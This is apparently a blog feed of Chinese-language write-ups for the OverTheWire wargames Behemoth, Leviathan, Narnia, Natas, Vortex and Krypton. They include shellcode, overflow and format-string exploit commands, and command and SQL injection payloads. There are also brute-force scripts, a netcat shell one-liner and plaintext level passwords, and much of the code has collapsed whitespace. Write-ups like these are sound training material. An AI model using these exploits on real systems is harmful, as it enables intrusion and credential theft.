Quantcast
Channel: 记事本
Viewing all 122 articles
Browse latest View live

Betemoth5

$
0
0

这道题要读反汇编得到的代码,关键是有几个常量的意义要弄清楚。首先是发往本机的1337端口,然后是凭记忆,发的是UDP。所以我们后台运行
nc -u -l 1337 > /tmp/pass
再运目标程序,就可以得到密码


Behemoth6

$
0
0

这道题会在behemoth6_reader中执行用户提供的shellcode。我开始想的是直接就在那里把密码读取了,但reader没有setuid,所以权限不够。这样的话就只能写一个输出HelloKitty的shellcode了。代码如下

BITS32xoreax,eaxpusheaxpushword0x7974push0x74694b6fpush0x6c6c6548;HelloKittymovecx,espmovebx,eaxmovedx,eaxmovbl,1movdl,10incedxmoval,4;writeint0x80

注意reader会检查shellcode中是否包含0x0b,而那正好是字符串的长度,作为write的第3个参数。于是我是先赋为10,再加一。

编译保存为shellcode.txt,然后可得到密码

Behemoth7

$
0
0

这道题稍微和之前不太一样,在main开始时先push ebp, 又push edi, 然后and esp 0xfffffff0, sub esp 230h。但ida这里没搞清楚,字符数组是在esp+24h处,但ida显示的是ebp+210h,明显不对,估计是因为又push edi的原因。所以直接看反汇编有时确实容易出错,这种情况下还是要直接看汇编。

首先是把环境变量都清空了,所以只能把shellcode放在argv里了。另外,会检查前512个字符是否包含非字母,应该可以写出只有字母的shellcode,但我没有用那种方法。也就是把shellcode放在紧挨着ebp前面的缝隙处。检查发现,shellcode最长只能有12+8+4=24byte;顶多再加一个byte,也就是返回地址的最低位,而且如果这么做的话,前面的要用NOP来填充了

另一方面,由于shellcode金挨着返回地址,我们还必须保护他,也就是要先把栈往上推。这样一来,之前一直用的那个版本就太长了,于是这里我让他执行./sh,然后把/bin/sh链接到当前目录下

shellcode所在的地址还是通过ebp的地址算出,再次提醒下要保持参数个数及长度都相同

汇编代码如下

BITS32xoreax,eaxsubesp,0x28;protect our codepusheaxmovedx,esppush0x68732f2e;./shmovebx,esppusheaxpushebxmovecx,espmoval,11int0x80

Leviathan

$
0
0
  • leviathan0
    家目录下有个.backup文件夹,里面有一个bookmarks.html。直接用grep搜leviathan,得到密码
  • leviathan1以其为结尾
    反编译,发现只是简单地比较字符串,得到密码
  • leviathan2
    没发现溢出,单纯race condition的话又有点来不及,所以是command injection. 在当前目录下创建一个到目标文件的链接passwd->leviathan3,再创建一个文件名为anyfile;cat passwd的文件。那么在system执行的时候,命令注入,目标文件的内容会通过链接passwd获得
  • leviathan3
    是在do_stuff函数里,简单的字符串比较
  • leviathan4
    他会把密码的每个字符编码,然后输出。所以我们可以先构造码表,然后反推出密码。下面是python代码,其中字母表包括换行符,因为文件中可能以其为结尾
#!/usr/bin/env python2importsysdefconvert(c):res=[]n=ord(c)i=0whilei<=7:ifn&128:#negativeres.append('1')else:res.append('0')i=i+1n=(n<<1)&255return''.join(res)if__name__=='__main__':alpha='0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\x0a'book=[convert(x)forxinalpha]codes=sys.argv[1].split(' ')res=[]forcodeincodes:idx=book.index(code)res.append(alpha[idx])print''.join(res)
  • leviathan5
    程序会输出某文件的内容,于是把目标文件链接到那里即可
  • leviathan6
    简单地比较数字

Narnia

$
0
0
  • Narnia0
    要改写内容很简单,20个填充字符加上0xdeadbeef,但问题是用perl输入后sh立刻就退出了……后来在网上搜了下,用cat可以读用户输入,然后输出通过管道送到sh那里
    (perl -e 'print "A"x20 . "\xef\xbe\xad\xde"'; cat) | ./narnia0
  • Narnia1
    只需要把shellcode放到环境变量里就可以了,而且inovke bash和sh都可以用
  • Narnia2
    strcpy没检查
  • Narnia3
    ofile是char[],可写,所以我们用很长的ifile覆盖他:
     ln -sf /etc/narnia_pass/narnia4 /tmp/nabla/tmp/nabla/pass/narnia/narnia3 `perl -e 'print "/."x11 . "/tmp/nabla" . "/tmp/nabla/pass"'` 
  • Narnia4
    把环境变量清空了,没关系,shellcode放argv[1]就行
  • Narnia5
    用了snprintf,所以单纯的覆盖是不可能了。但存在format string 不知道为什么,这次用perl的话位置参数不能用,估计是$的转义问题。没办法,是第9个参数,所以前8个也都用了:
    /narnia/narnia5 `perl -e 'print "\x1c\xd7\xff\xff" . "%62x"x8 . "%n"'`
  • Narnia6
    这道题想复杂了,晕…… 首先是发现strcpy可以覆盖函数指针fp的值,于是由此可以跳到我们想要的地方;但还有一个限制,即最高位的byte不能是0xff。这样就只能return to libc了。而且此时的栈顶是一个我们提供的字符串。我想复杂了,想找一个call $eaxjmp $eax的,但后来在网上看,直接用system()就可以了。于是用gdb,print system得到其地址。

    还有一个微妙之处,是先strcpy下面的,再上面的。这样第二次strcpy就可以再覆盖掉第一次的。这点比较重要,因为给system的参数是下面的,而strcpy下面的时后面还会跟上system的地址。于是字符串/bin/sh要在第二次的strcpy写上去

    综上,命令为

    /narnia/narnia6 `perl -e 'print "A"x8 . "\x50\xa2\xe6\xf7"'` "12345678/bin/sh"
  • Narnia7
    和前面的一道题很像,还是snprintf的format string. 另外这里perl的$要用\$来转义。 在确定buffer是第几个参数时,我是用gdb看的,当然可以从代码直接算出来,注意mov %esp, %ebp后又push了两个,所以sub $0xa0, %esp后esp与ebp相距0xa8
  • Narnia8
    这道题是一个byte一个byte地复制,可以修改返回地址。唯一要注意的是,由于src字符串保存在buffer的下方,所以要修改返回地址就必然要经过src,而我们要保证经过时src不变。具体地,先打印出src的地址,然后让src的内容在那个位置等于src的地址

    shellcode放在环境变量里了

Natas

$
0
0
  • natas0
    查看网页源代码即可
  • natas1
    鼠标右键被禁止了,我是把网页保存下来看的
  • natas2
    说当前页面没东西,看了源码似乎确实,但有一个图片在files文件夹下面,访问那个文件夹就可以发现密码
  • natas3
    当前页面还是没东西,连google都找不到,于是去看robots.txt,发现文件夹,访问发现密码
  • natas4
    修改referer即可,密码是
  • natas5
    在cookie里改logged,得到密码为
  • natas6
    看代码,然后直接去看include的文件,得到secret是FOEIUWGHFEEUHOFUOIU,输入得到密码
  • natas7
    提示有说是LFI,直接把目标文件作为page参数传递,得到密码
  • natas8
    看源代码,做逆运算,提交得到密码
  • natas9
    command injection。我输入的是'.*' /etc/natas_webpass/natas10; rm,得到密码
  • natas10
    这次会有过滤。由于密码很长(32bytes),我们可以通过输出两个文件中32bytes长的内容获得密码。输入
    '[a-z0-9]\{32\}' /etc/natas_webpass/natas11
    这里是grep所以用\{n,m\},如果是egrep则直接用{n,m}
  • natas11
    这道题关键是构造cookie,而处理cookie时要用到$key,所以首先我们要获得那个$key。用的是XOR,明文和密文都有,于是由下列代码得到$key=qw8J。然后就可以构造我们的cookie,使showpassword=yes,得到密码
<?php$data=array("showpassword"=>"no","bgcolor"=>"#ffffff");$cookie='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';$json=json_encode($data);$bin=base64_decode($cookie);$key='';for($i=0;$i<strlen($json);$i++){$key.=$json[$i]^$bin[$i];}echo$key;?>
  • natas12
    上传文件
    <?php include('/etc/natas_webpass/natas13'); ?>
    

    用burp截获,更改后缀。得到密码

  • natas13
    这次会用exif_imagetype做检查。查了下jpeg文件的格式,是以\xff\xd8开始,\xff\xd9结束,中间包含许多segments,每一个都是以\xff开始 于是我们用一个包含payload的文件,文件开始和结束处符合jpeg的magic number, 访问上传文件可得密码
perl -e 'print "\xff\xd8\xff" . "<?php include(\"/etc/natas_webpass/natas14\"); ?>" . "\xff\xd9"'| curl \
-su natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F filename=1.php -F 'uploadedfile=@-;filename=1.php'\
http://natas13.natas.labs.overthewire.org
  • natas15
    SQL注入,username输入" or 1=1-- ,得到密码

  • natas16
    SQL盲注,代码如下, 第一次试的时候,大小写全反了。检查后发现在mysql里,有"W">"k",这和我想象中不同,我想的是用ascii的值比较的

#!/usr/bin/env python2importurllibimporturllib2importbase64defmakePayload(statement):return'natas16" and (substr(password, %d, 1))%s"%s"#'%(statement[0],statement[1],statement[2])defcheckResponse(response):returnresponse.find("This user exists.")!=-1defdoAssert(statement):url='http://natas15.natas.labs.overthewire.org'values={'username':makePayload(statement)}data=urllib.urlencode(values)req=urllib2.Request(url,data)username="natas15"password="AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"base64string=base64.encodestring('%s:%s'%(username,password)).replace('\n','')req.add_header('Authorization',"Basic %s"%base64string)req.add_header('Content-Type','application/x-www-form-urlencoded')response=urllib2.urlopen(req)content=response.read()returncheckResponse(content)if__name__=="__main__":alphalist="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY"result=[]foridxinrange(1,33):start=0end=len(alphalist)#[start, end)while(start<end):if(end-start==1):result.append(alphalist[start])printalphalist[start]breakelse:middle=(start+end)/2if(doAssert([idx,'<',alphalist[middle]])):end=middleelse:start=middleprint''.join(result)
  • natas17
    还是盲注的思想,由于把很多控制字符都过滤了。具体地,用cut -c1来截取某一列,由于只有一行,所以可以得到某一个字符;然后二分查找。bash比较字符串用,为了防止解释为重定向,要用[ $1 \< $2 ]或者[ $1 '<' $2 ],而引号都被过滤了,所以只能用\<了。 另外bash比较是按ascii码来比较的。

    代码如下

#!/usr/bin/env python2importurllibimporturllib2importbase64defmakePayload(statement):return"$(c=$(cut -c%d /etc/natas_webpass/natas17)\nif [ $c \\%s%s ]\nthen echo telecommunications\nelse echo zzz\nfi)"%(statement[0],statement[1],statement[2])defcheckResponse(response):returnresponse.find("telecommunications")!=-1defdoAssert(statement):url='http://natas16.natas.labs.overthewire.org'values={'needle':makePayload(statement)}data=urllib.urlencode(values)req=urllib2.Request(url,data)username="natas16"password="WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"base64string=base64.encodestring('%s:%s'%(username,password)).replace('\n','')req.add_header('Authorization',"Basic %s"%base64string)req.add_header('Content-Type','application/x-www-form-urlencoded')response=urllib2.urlopen(req)content=response.read()returncheckResponse(content)if__name__=="__main__":alphalist="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy"result=[]foridxinrange(1,33):start=0end=len(alphalist)#[start, end)while(start<end):if(end-start==1):result.append(alphalist[start])printalphalist[start]breakelse:middle=(start+end)/2if(doAssert([idx,'<',alphalist[middle]])):end=middleelse:start=middleprint''.join(result)
  • natas18
    把回显注释掉了,所以只能用time based。代码如下
#!/usr/bin/env python2importurllibimporturllib2importbase64importtimedefmakePayload(statement):return'natas18" and if(ascii(substr(password, %d, 1))%s%d, sleep(4), 1)#'%statementdefdoAssert(statement):url='http://natas17.natas.labs.overthewire.org'values={'username':makePayload(statement)}data=urllib.urlencode(values)req=urllib2.Request(url,data)username="natas17"password="8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"base64string=base64.encodestring('%s:%s'%(username,password)).replace('\n','')req.add_header('Authorization',"Basic %s"%base64string)req.add_header('Content-Type','application/x-www-form-urlencoded')start=time.time()response=urllib2.urlopen(req)content=response.read()end=time.time()returnend-start>3.5if__name__=="__main__":alphalist="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy"result=[]foridxinrange(1,33):start=0end=len(alphalist)#[start, end)while(start<end):if(end-start==1):result.append(alphalist[start])printalphalist[start]breakelse:middle=(start+end)/2if(doAssert((idx,'<',ord(alphalist[middle])))):end=middleelse:start=middleprint''.join(result)
  • natas18
    暴力破解,session id最大只有640
#!/bin/bashfor i in `seq 640`;do
    curl -su natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP -b "PHPSESSID=$i" http://natas18.natas.labs.overthewire.org | grep -i 'Password:'done

跑了好几分钟……

  • natas19
    同上题类似,不过session id不再是数字了。观察发现他是id-admin每个字符hex表示。还是暴力破解:
#!/bin/bashfor i in `seq 640`;doid=`echo -n "$i-admin"| hexdump -v -e '1/1 "%02x" ""'`
    curl -su natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs -b "PHPSESSID=$id" http://natas19.natas.labs.overthewire.org | grep -i 'Password:'if[$? -eq 0];thenbreakfidone
  • natas20
    传入参数存在注入,可添加值到session中。具体地,先将username设为”a\nadmin 1”,提交后再重新载入页面,可得密码
  • natas21
    本身没看出来问题,但colocated的那里可任意修改session的值。在那里我们把admin设为1,然后用同样的session id访问原先的页面即可。
  • natas22
    想要显示密码,就要设query,但这就会先redirect。于是我们不去跳转:
    curl -su natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ http://natas22.natas.labs.overthewire.org?revelio=1
  • natas23
    PHP自动类型转换。只要字符串以数字开头,且数字大于10即可。输入12iloveyou得到密码
  • natas24
    PHP5.3之后,strcmp在比较数组与字符串时,会返回0。于是把passwd作为一个数组传递就行
  • natas25
    LFI,虽然../背替换成空,但可以用..././绕过。关键是检测到natas_webpass就终止了,所以不能直接include密码文件 但另一方面,我们可以通过user-agent写任意内容到服务器,这样就可以了。具体地,先request一个非法的query,user-agent设为<php include('/etc/natas_webpass/natas26'); ?>,这样payload就会被写入日志文件,而这个文件的名字是可从session id获知的。

    接下来,LFI我们的日志文件,就读到了密码

  • natas26
    定义了一个类Logger,却完全没用,所以是object injection。 具体地,__destruct会被调用,也就是我们可以写东西。看下面发现img文件夹应该是可写的,那我们就在其下写一个php文件。

    我开始是想直接写一个include密码的文件,但传进去后似乎报错;echo字符串都能用,不知道是为什么……好在写文件是append,所以分了两次,把payload写到文件里。下面是第二次的

<?phpclassLogger{private$logFile='img/2.php';private$initMsg;private$exitMsg=' echo file_get_contents($s);?>';}$s=newLogger();echobase64_encode(serialize($s));?>

Vortex0

$
0
0

第一题就花了好久……

首先,获得密码的链接不是ssl。我开始想用命令行来完成,即用netcat。查了下可以通过fifo来交互:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

但问题是怎样取出4个数字相加。我对shell还是不熟,试了半天都没好。

根据题目提示,要用socket编程。于是有下面的代码:

#include <sys/socket.h>#include <stdio.h>#include <arpa/inet.h>#include <unistd.h>#include <netdb.h>#include <string.h>#include <stdlib.h>intmain(intargc,char*argv[]){if(argc!=3){printf("usage: %s <dest> <port>\n",argv[0]);exit(1);}intsockfd=socket(AF_INET,SOCK_STREAM,0);structsockaddr_inservAddr;structhostent*he=gethostbyname(argv[1]);servAddr.sin_family=AF_INET;servAddr.sin_port=htons((uint16_t)atoi(argv[2]));servAddr.sin_addr=*((structin_addr*)he->h_addr);bzero(&(servAddr.sin_zero),8);if(connect(sockfd,(structsockaddr*)&servAddr,sizeof(structsockaddr))==-1){printf("connect error\n");exit(1);}charbuf[128];ssize_tnumRead;unsignedintsum=0;ssize_ttotalRead=0;ssize_ti;while(totalRead<16){if((numRead=recv(sockfd,buf+totalRead,sizeof(buf)-totalRead,0))==-1){printf("error recv\n");exit(1);}printf("read %u bytes\n",numRead);totalRead+=numRead;}unsignedint*number=buf;for(i=0;i<4;++i){printf("get 0x%x\n",number[i]);sum+=number[i];}printf("send 0x%x\n",sum);send(sockfd,&sum,sizeofsum,0);numRead=recv(sockfd,buf,sizeofbuf,0);buf[numRead]=0;printf("received %s\n",buf);close(sockfd);return0;}

实际上对方在发送4个整数时,似乎是分两次发的,先发一个,再发3个……于是就一直读直到读了16bytes。 得到密码

vortex1

$
0
0

通过输入’\’,可以将ptr的位置往上挪,由此可修改ptr上方的内容。另外,由于会检查ptr是否低于buffer下界,另外反汇编发现main函数有stack保护,所以不能修改main的返回地址了

但他也提供了一个执行shell的机会,只要ptr的值最高位是0xca。坚持发现ptr保存在esp+14h,其初始值即buffer+sizeof(buffer)/2在esp+11ch。由于小端,ptr最高位在esp+17h,两者相距0x105=261。故先输入261个’\’,再加上”\xca”,再加上一个正常字符一跳至相应的case:

$ (perl -e 'print "\x5c"x261 . "\xca\xca"';cat) | /vortex/vortex1

这里我们还是用了一个cat来与invoked的sh进行交互。得到密码是…


vortex2

$
0
0

$$只是在shell中代表PID,所以创建tar文件时只是两个字符。但解压时shell里,所以要用引号保护:

$ tar xf '/tmp/ownership.$$.tar' -C .

另外,在创建时,需要把密码文件压缩。可以进到目录/etc/vortex_pass下面,然后执行

$ /vortex/vortex2 vortex3 --mode=444

这样压缩的文件权限是444。

不过另外试了,不设置权限,解压缩后也可以读。

还有,如果vortex3不在当前目录下,那么tar选项要加-P如果用了绝对路径

vortex3

$
0
0

这道题用的是exit,所以不能通过修改返回地址来做了

但从提示也可以看出要修改got之类的。具体看反汇编的代码,最后exit是call 0x8048320,进去看,那里是jmp *0x08049738。我们可以修改0x08049738处的值为buf, 再将shellcode放在buffer里即可

具体地,地址0x08049738保存在0x08048322处,而buf与lpp相距132。故

$ /vortex/vortex3 `perl -e 'print "\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x107 . "\x22\x83\x04\x08"'`

vortex4

$
0
0

format string。由于还是exit,所以与上题一样,修改got.

由于argc必须为0,所以要另外写一个c程序,用exec。我们把argv设为{NULL}, 要修改的地址放到envp[0], shellcode放到envp[1], format string放到envp[2]。这样printf就会打印envp[2]

还是用寻找A的方式,大概确定了format string的内容大概是第98个参数。exit在plt的地址是0x0804a008,经过一番调整,确定了各个环境变量的长度,然后确定SHELLCODE的地址和format的具体形式。

代码如下

#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env1="\x08\xa0\x04\x08\x09\xa0\x04\x08\x0a\xa0\x04\x08\x0b\xa0\x04\x08";char*env2="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*env3="%155x%97$hhn%64x%98$hhn%32x%99$hhn%100$hhn";char*argv[]={NULL};char*envp[]={env1,env2,env3,NULL};execve("/vortex/vortex4",argv,envp);}

vortex5

$
0
0

md5破解,直接在网上破解155fb95d04287b757c996d77b5ea51f7,得到rlTf6。

vortex6

$
0
0

反汇编之后,发现同样存在format string。但这次还有一restart函数,检查发现他exec了我们的argv[0]。但是argv[0]可以是任意的内容提交给他,所以我们写一个读密码的程序:

#include <unistd.h>#include <stdio.h>intmain(intargc,char*argv[]){seteuid(5007);FILE*fp=fopen("/etc/vortex_pass/vortex7","r");charbuf[128];size_tnumRead=fread(buf,1,sizeofbuf,fp);buf[numRead]=0;printf("%s\n",buf);return0;}

因为在exec过程中,euid被保存到saved uid里,所以我们要先恢复euid。但这里我不知道怎么得到saved uid,只能hard coded

然后写一个程序调用vortex6:

#include <unistd.h>intmain(intargc,char*argv[]){char*args[]={"/tmp/nabla/read",NULL};execv("/vortex/vortex6",args);}

vortex7

$
0
0

这道题要求构造一个符合crc的输入来造成溢出。

关于CRC,这里有一篇详细的文章

为了reverse CRC,我们先找到所用的crc table在文件中的位置,然后将其dump出来:

$ hexdump -v -n 1024 -s 1504 vortex7 -e '"0x" 1/4 "%08x"","' | fold -b44

此外,我们还需要根据最高位字符来构造reverse table。用下面的代码构造并打印reverse table

intmain(intargc,char*argv[]){unsignedint*revTable=(unsignedint*)malloc(256*sizeof(unsignedint));size_ti;for(i=0;i<256;++i){unsignedintvalue=CRCTable[i];unsignedinttop=(value>>24);revTable[top]=i;}for(i=0;i<256;++i){printf("0x%02x,",revTable[i]);}return0;}

然后我们有下面的代码,他会得到4bytes的patch,当patch加在argv1之后时,新的CRC值会变为我们需要的

#include <stdio.h>#include <stdlib.h>#include <string.h>unsignedintCRCTable[]={0x00000000,0x77073096,0xee0e612c,0x990951ba,0x076dc419,0x706af48f,0xe963a535,0x9e6495a3,0x0edb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x09b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x01db7106,0x98d220bc,0xefd5102a,0x71b18589,0x06b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0x0f00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x086d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x03b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x04db2615,0x73dc1683,0xe3630b12,0x94643b84,0x0d6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0x0a00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x026d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x05005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0x0cb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0x0bdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d};unsignedintrevTable[]={0x00,0x41,0xc3,0x82,0x86,0xc7,0x45,0x04,0x4d,0x0c,0x8e,0xcf,0xcb,0x8a,0x08,0x49,0x9a,0xdb,0x59,0x18,0x1c,0x5d,0xdf,0x9e,0xd7,0x96,0x14,0x55,0x51,0x10,0x92,0xd3,0x75,0x34,0xb6,0xf7,0xf3,0xb2,0x30,0x71,0x38,0x79,0xfb,0xba,0xbe,0xff,0x7d,0x3c,0xef,0xae,0x2c,0x6d,0x69,0x28,0xaa,0xeb,0xa2,0xe3,0x61,0x20,0x24,0x65,0xe7,0xa6,0xea,0xab,0x29,0x68,0x6c,0x2d,0xaf,0xee,0xa7,0xe6,0x64,0x25,0x21,0x60,0xe2,0xa3,0x70,0x31,0xb3,0xf2,0xf6,0xb7,0x35,0x74,0x3d,0x7c,0xfe,0xbf,0xbb,0xfa,0x78,0x39,0x9f,0xde,0x5c,0x1d,0x19,0x58,0xda,0x9b,0xd2,0x93,0x11,0x50,0x54,0x15,0x97,0xd6,0x05,0x44,0xc6,0x87,0x83,0xc2,0x40,0x01,0x48,0x09,0x8b,0xca,0xce,0x8f,0x0d,0x4c,0x95,0xd4,0x56,0x17,0x13,0x52,0xd0,0x91,0xd8,0x99,0x1b,0x5a,0x5e,0x1f,0x9d,0xdc,0x0f,0x4e,0xcc,0x8d,0x89,0xc8,0x4a,0x0b,0x42,0x03,0x81,0xc0,0xc4,0x85,0x07,0x46,0xe0,0xa1,0x23,0x62,0x66,0x27,0xa5,0xe4,0xad,0xec,0x6e,0x2f,0x2b,0x6a,0xe8,0xa9,0x7a,0x3b,0xb9,0xf8,0xfc,0xbd,0x3f,0x7e,0x37,0x76,0xf4,0xb5,0xb1,0xf0,0x72,0x33,0x7f,0x3e,0xbc,0xfd,0xf9,0xb8,0x3a,0x7b,0x32,0x73,0xf1,0xb0,0xb4,0xf5,0x77,0x36,0xe5,0xa4,0x26,0x67,0x63,0x22,0xa0,0xe1,0xa8,0xe9,0x6b,0x2a,0x2e,0x6f,0xed,0xac,0x0a,0x4b,0xc9,0x88,0x8c,0xcd,0x4f,0x0e,0x47,0x06,0x84,0xc5,0xc1,0x80,0x02,0x43,0x90,0xd1,0x53,0x12,0x16,0x57,0xd5,0x94,0xdd,0x9c,0x1e,0x5f,0x5b,0x1a,0x98,0xd9};//start is the init CRC valueunsignedintcomputeCRC(unsignedintstart,unsignedchar*str,size_tlen){size_ti;for(i=0;i<len;++i){start=(start>>8)^(CRCTable[(0xff&(start^str[i]))]);}returnstart;}unsignedintreverseCRC(unsignedintstart,unsignedend){unsignedcharbuf[8];unsignedint*pos=buf;*pos=start;*(pos+1)=end;inti=0;for(i=0;i<4;++i){unsignedchartopByte=buf[7-i];unsignedintidx=revTable[topByte];unsignedintvalue=CRCTable[idx];pos=buf+4-i;*pos=(*pos)^value;buf[3-i]=buf[3-i]^idx;}pos=buf;return*pos;}intmain(intargc,char*argv[]){if(argc!=3){printf("usage: %s <string> <CRC>\n",argv[0]);return0;}size_tlen=strlen(argv[1]);char*cat=(char*)malloc(len+5);strncpy(cat,argv[1],len);//compute the current CRCunsignedintcurrent=computeCRC(0,argv[1],len);printf("current is 0x%08x\n",current);unsignedintdest=(unsignedint)strtoul(argv[2],NULL,16);printf("dest is 0x%08x\n",dest);//compute the patchunsignedintpatch=reverseCRC(current,dest);unsignedchar*patchChar=&patch;printf("patch is \\x%02x\\x%02x\\x%02x\\x%02x\n",patchChar[0],patchChar[1],patchChar[2],patchChar[3]);strncat(cat,patchChar,4);unsignedintnew=computeCRC(0,cat,len+4);printf("verify: new CRC is 0x%08x\n",new);return0;}

看反汇编,知道要覆盖完返回地址需要78bytes,在加上4bytes的patch共82bytes。将shellcode放到环境变量,得到其地址,然后可由上计算出patch。最后运行

$ /vortex/vortex7 `perl -e 'print "A"x74 . "\xf9\xd8\xff\xff" . "\x1c\xdd\x03\x32"'`

vortex8

$
0
0

这道题里用了setresuid。但是调用的方式是通过syscall,我实验了下,如果是直接setresuid,那么子线程的uid被改变了;而如果是syscall,那么子线程的uid不变。现在还不清楚这是为什么,估计是和signal什么的有关。

总之,现在必须在子线程里invoke shell。我们还是可以通过修改got来做到。也就是说,先在父进程unsafecode里执行我们的命令,来修改got,然后让父进程先不要退出(否则子进程也结束了);然后子进程再调用的时候就会跳到修改后的地方,我们在那里放上payload

可以通过

$ objump -R vortex8

来获得函数在got的地址。我想试着修改fflush的地址,但没成功,不知道是为什么。修改sleep是可以的

BITS32movebx,0x0804a008;sleepmoveax,[ebx]movdword[ebx],0xffffd8f2;SHELLCODEloop:jmploop

最后的部分是无限循环,这样主线程就不会先于子线程退出

确定了strcpy的目标到返回地址的距离然后

$ /tmp/nabla$ /vortex/vortex8 `perl -e 'print "A"x1021 . "\xbb\x08\xa0\x04\x08\x8b\x03\xc7\x03\xf2\xd8\xff\xff\xeb\xfe"  . "\xbd\xd2\xff\xff"'`

vortex9

$
0
0

一登录就提示说you have a new mail,但是输入mail后又说没有邮件

然后去/var/spool/mail文件夹,发现密码文件

krypton

$
0
0
  • krypton0
    base64解码 <pre class="lang:sh decode:true ">$ echo “…” | base64 -d -</pre>

  • krypton1
    rot13解码

importcodecss='...'print(codecs.encode(s,'rot13'))
  • krypton2
    凯撒密码。可以通过他给的程序得到密码表。注意keyfile和ciphertext文件都认为在当前目录下
  • krypton3
    frequency analysis。之前用的网站是http://www.richkni.co.uk/php/crypta/freq.php,还有一个http://www.quipqiup.com/index.php。英语的频率是ETAOINSHRDLUCMWFYGPBVKXJQZ。但直接从得到的词频对应还是不对,需要再调整。比如开始的词估计是well done。最后在网上搜到的答案……
$ echo -n "KSVVW BGSJD SVSIS VXBMN YQUUK BNWCU ANMJS"| tr '[A-Z]''[BOIHPKNQVTWGURXZAJEYSLDFPU]'
  • krypton4
